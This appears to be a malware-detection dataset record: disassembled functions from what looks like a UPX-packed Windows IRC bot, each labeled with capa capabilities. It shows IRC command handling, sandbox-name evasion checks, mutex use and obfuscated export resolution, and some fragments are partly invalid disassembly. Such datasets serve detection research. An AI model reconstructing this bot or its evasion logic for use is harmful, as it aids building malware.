joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402c4e
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040303d
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040303d
add esp, 0x804
ret
call fcn.0040316d
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x40272d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040303d
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402cc5
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.0040303d
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.0040303d
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022bc
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x40428b]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402c4e
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402c73
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402c6c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402cdc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402d13
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402d1b
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x4039be
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4039fd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4039fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4039fd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4039fd
cmp dword [ecx + 0x74], 0xe
jbe 0x4039fd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x732060
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x14e000]
mov dword [edi + 0x17f1ec], 0x1f124cc2
push edi
jmp 0x73208a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x732091
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x732080
mov eax, 1
add ebx, ebx
jne 0x7320a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7320b4
jne 0x7320d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7320d3
dec eax
add ebx, ebx
jne 0x7320c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x732098
add ebx, ebx
jne 0x7320cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x732125
xor ecx, ecx
sub eax, 3
jb 0x7320eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x73215a
sar eax, 1
mov ebp, eax
jmp 0x7320f6
add ebx, ebx
jne 0x7320f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7320c4
inc ecx
add ebx, ebx
jne 0x732104
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7320c4
add ebx, ebx
jne 0x732111
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x732106
jne 0x732122
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x732106
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x732144
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x732136
jmp 0x732086
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x732144
add edi, ecx
jmp 0x732086
pop esi
mov edi, esi
mov ecx, 0x8f66
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x732162
cmp byte [edi], 0x16
jne 0x732162
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x732167
lea edi, [esi + 0x326000]
mov eax, dword [edi]
or eax, eax
je 0x7321df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x39e570]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x39e790]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x732194
mov ecx, edi
jns 0x7321c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x39e798]
or eax, eax
je 0x7321d9
mov dword [ebx], eax
add ebx, 4
jmp 0x7321b1
call dword [esi + 0x39e794]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x732210
cmp al, 0xef
ja 0x732203
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x7321e5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x7321f2
mov ebp, dword [esi + 0x39e79c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x267]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x732244
sub esp, 0xffffff80
jmp 0x4e4144
Function at 0x404618
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov ebx, 0x5a0000b0
push esi
jmp 0x4045d4
or esi, 0x5e25
add esi, 0x33c4
and esi, 0xdda9
pop esi
mov dword [ebp - 0x2100], 0xe
push ecx
and ecx, 0x8c01
xor ecx, 0x462
or ecx, 0x6179
pop ecx
push edx
sub edx, 0x11166
call 0x404618
add byte [ebx], bh
dec ecx
cmp edi, dword [eax]
cmp dh, byte [ebx + eax*4]
les eax, [ebx + ebp*8]
add eax, 0x40324445
dec ebx
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15c8], eax
push eax
push edx
add esp, 4
or eax, 0x38e
sub eax, 0x14df2
sub eax, 0x5778
pop eax
push ecx
push edi
add esp, 4
jmp 0x40465a
jmp 0x404660
jmp 0x404669
pop ecx
mov dword [ebp - 0x2104], 0xffffffff
push edx
sub edx, 0x5fc9
call 0x404688
add byte [ecx + 0x3f], al
aas
aas
dec esp
inc esi
cmp eax, dword [ebx - 0xd7efb3c]
ljmp 0x8151

Function at 0x404688
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov ebx, 0x5a0000b0
push esi
jmp 0x4045d4
or esi, 0x5e25
add esi, 0x33c4
and esi, 0xdda9
pop esi
mov dword [ebp - 0x2100], 0xe
push ecx
and ecx, 0x8c01
xor ecx, 0x462
or ecx, 0x6179
pop ecx
push edx
sub edx, 0x11166
call 0x404618
add byte [ebx], bh
dec ecx
cmp edi, dword [eax]
cmp dh, byte [ebx + eax*4]
les eax, [ebx + ebp*8]
add eax, 0x40324445
dec ebx
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15c8], eax
push eax
push edx
add esp, 4
or eax, 0x38e
sub eax, 0x14df2
sub eax, 0x5778
pop eax
push ecx
push edi
add esp, 4
jmp 0x40465a
jmp 0x404660
jmp 0x404669
pop ecx
mov dword [ebp - 0x2104], 0xffffffff
push edx
sub edx, 0x5fc9
call 0x404688
add byte [ecx + 0x3f], al
aas
aas
dec esp
inc esi
cmp eax, dword [ebx - 0xd7efb3c]
ljmp 0x8151

Function at 0x404912
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov al, byte [0xe9fffff5]
invalid
xchg ebp, eax
jl 0x404908
invalid

Function at 0x4049c2
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
push edx
call 0x4049d5
add byte [esi + 0x4a], al
aaa
xor al, 0x44
xor edi, dword [edx]
dec esp
add esp, 4
pop edx
push eax
push esi
add esp, 4
sub eax, 0xe13
or eax, 0x12e0e
and eax, 0xb3ea
sub eax, 0x131a8
pop eax
push edx
add edx, 0xd5b4
jmp 0x404a04
and edx, 0x3847
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15a0], eax
push ebx
push esi
add esp, 4
xor ebx, 0xc6fe
xor ebx, 0x10f59
pop ebx
push eax
xor eax, 0xf701
pop eax
push esi
push eax
add esp, 4
or esi, 0x132c
or esi, 0x101ee
jmp 0x404a51
pop esi
mov dword [ebp - 0x2108], 0xffffffff
push esi
jmp 0x404a64
sub esi, 0x15287
sub esi, 0x10402
jmp 0x404a75
pop esi
push eax
push edi
add esp, 4
add eax, 0x152fa
jmp 0x404a87
invalid
or eax, 0x6665
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x404aab
Function at 0x4049d5
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
push edx
call 0x4049d5
add byte [esi + 0x4a], al
aaa
xor al, 0x44
xor edi, dword [edx]
dec esp
add esp, 4
pop edx
push eax
push esi
add esp, 4
sub eax, 0xe13
or eax, 0x12e0e
and eax, 0xb3ea
sub eax, 0x131a8
pop eax
push edx
add edx, 0xd5b4
jmp 0x404a04
and edx, 0x3847
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15a0], eax
push ebx
push esi
add esp, 4
xor ebx, 0xc6fe
xor ebx, 0x10f59
pop ebx
push eax
xor eax, 0xf701
pop eax
push esi
push eax
add esp, 4
or esi, 0x132c
or esi, 0x101ee
jmp 0x404a51
pop esi
mov dword [ebp - 0x2108], 0xffffffff
push esi
jmp 0x404a64
sub esi, 0x15287
sub esi, 0x10402
jmp 0x404a75
pop esi
push eax
push edi
add esp, 4
add eax, 0x152fa
jmp 0x404a87
invalid
or eax, 0x6665
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x404aab

Function at 0x404b0d
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
and ebx, 0x1523
pop ebx
push eax
push ecx
add esp, 4
add eax, 0x7820
pop eax
jmp 0x404d53
push edi
push eax
add esp, 4
jmp 0x404d60
pop edi
push eax
push edi
add esp, 4
xor eax, 0xbb16
add byte [eax], al
or eax, 0x12afe
pop eax
push esi
call 0x404d81
add byte [edx + ecx*2 + 0x45], cl
inc edi
xor eax, 0xc4834c48
add al, 0x5e
mov dword [ebp - 0xac0], 0
Function at 0x404c25
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp eax, edx
je 0x404c95
push ecx
and ecx, 0x11374
and ecx, 0x5a55
xor ecx, 0xe023
pop ecx
push ecx
jmp 0x404c47
pop ecx
push edi
push eax
add esp, 4
jmp 0x404c54
sub edi, 0xd5f9
pop edi
mov eax, dword [ebp - 0xac8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xac4]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404c7d
mov dword [ebp - 0x15d4], 1
jmp 0x404c87
mov dword [ebp - 0x15d4], 0xffffffff
mov ecx, dword [ebp - 0x15d4]
mov dword [ebp - 0xc8c], ecx
jmp fcn.00404cf9
push ebx
jmp 0x404c9c
add ebx, 0x4dbd
add ebx, 0x4eae
pop ebx
push ebx
or ebx, 0xc195
add ebx, 0x5f07
xor ebx, 0x17114
pop ebx
push eax
jmp 0x404cc6
pop eax
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
mov ecx, dword [ebp - 0xac4]
add ecx, 1
mov dword [ebp - 0xac4], ecx
jmp 0x404bd4
Function at 0x404d81
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
and ebx, 0x1523
pop ebx
push eax
push ecx
add esp, 4
add eax, 0x7820
pop eax
jmp 0x404d53
push edi
push eax
add esp, 4
jmp 0x404d60
pop edi
push eax
push edi
add esp, 4
xor eax, 0xbb16
add byte [eax], al
or eax, 0x12afe
pop eax
push esi
call 0x404d81
add byte [edx + ecx*2 + 0x45], cl
inc edi
xor eax, 0xc4834c48
add al, 0x5e
mov dword [ebp - 0xac0], 0
Function at 0x4053c4
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
outsd dx, dword [esi]
idiv edi
jmp dword [esi + eax*8 - 0x7b]
jo 0x405393
invalid
jno 0x40539a
invalid
jb 0x4053a1
invalid
jae 0x4053a8
invalid
je 0x4053af
invalid
jne 0x4053b6
invalid
jbe 0x4053bd
invalid

Function at 0x405875
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
dec dword [ebx - 0x31f7b]
inc dword [ebx]
inc edx
and byte [ecx - 0x19c77b], cl
dec dword [ebx - 0x75373]
dec dword [ebx - 0x31f6b]
inc dword [ebx]
push ecx
and al, 0x89
xchg ebp, eax
xor al, 0xe6
invalid
Function at 0x405ef4
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jp 0x405f26
add byte [edi], cl
test ebx, ecx
std
invalid
push cs
pop ebx
add dword [eax], eax
pop esi
push esi
add esi, 0x11da3
or esi, 0x58ef
pop esi
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ebx
push edi
Function at 0x405f4a
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or ebx, 0xdc91
pop ebx
push edi
and edi, 0x3fcf
sub edi, 0x102c8
or edi, 0x17483
pop edi
push ecx
push edx
add esp, 4
add ecx, 0xcb9e
xor ecx, 0x5fcf
pop ecx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x160c], edx
cmp dword [ebp - 0x160c], 0
jne 0x405faa
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x40629b
mov ecx, dword [ebp - 0x160c]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1610], edx
jne 0x405fd2
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x40629b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1610]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1614], ecx
cmp dword [ebp - 0x1614], 0
jne 0x406004
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x40629b
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1614]
mov dword [ebp - 0x764], eax
jne 0x406029
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x40629b
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19e8], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19ec], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d74], ecx
mov dword [ebp - 0x768], 0
jmp 0x406083
Function at 0x4061d3
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x40628f
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19e8]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19ec]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d74]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19f0], eax
mov dword [ebp - 0x19c], 0
jmp 0x4060f3
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x4061a5
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x4061a5
push eax
xor eax, 0x162ff
or eax, 0x6acf
add eax, 0x183b3
pop eax
push eax
push ecx
add esp, 4
sub eax, 0x64f3
sub eax, 0x13c02
xor eax, 0xe1e9
or eax, 0xff7c
pop eax
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x406197
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x40619e
jmp 0x4060e4
jmp 0x4061a5
push edi
push ebx
add esp, 4
or edi, 0x10030
xor byte [eax], al
add dword [eax], eax
sub edi, 0xb76d
add edi, 0x12294
and edi, 0x17e1c
pop edi
push ebx
call fcn.004061d3
add byte [edi], dh
dec edx
dec ecx
inc esp
xor edi, dword [0xc4834a4b]
add esp, 4
pop ebx
add esp, 4
pop ebx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x406204
mov dword [ebp - 0xcb8], 0
jmp 0x406273
push edi
push ebx
add esp, 4
or edi, 0x17fb6
and edi, 0x102e8
call 0x81406318
out 0x69, eax
stc
add byte [eax], al
and edi, 0xd487
pop edi
push ecx
and ecx, 0x157b
sub ecx, 0x9d17
sub ecx, 0x1851b
pop ecx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x406269
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x406273
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x40628a
mov ecx, dword [ebp - 0x19f0]
mov dword [ebp - 0x510], ecx
jmp 0x40629b
jmp 0x406074
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax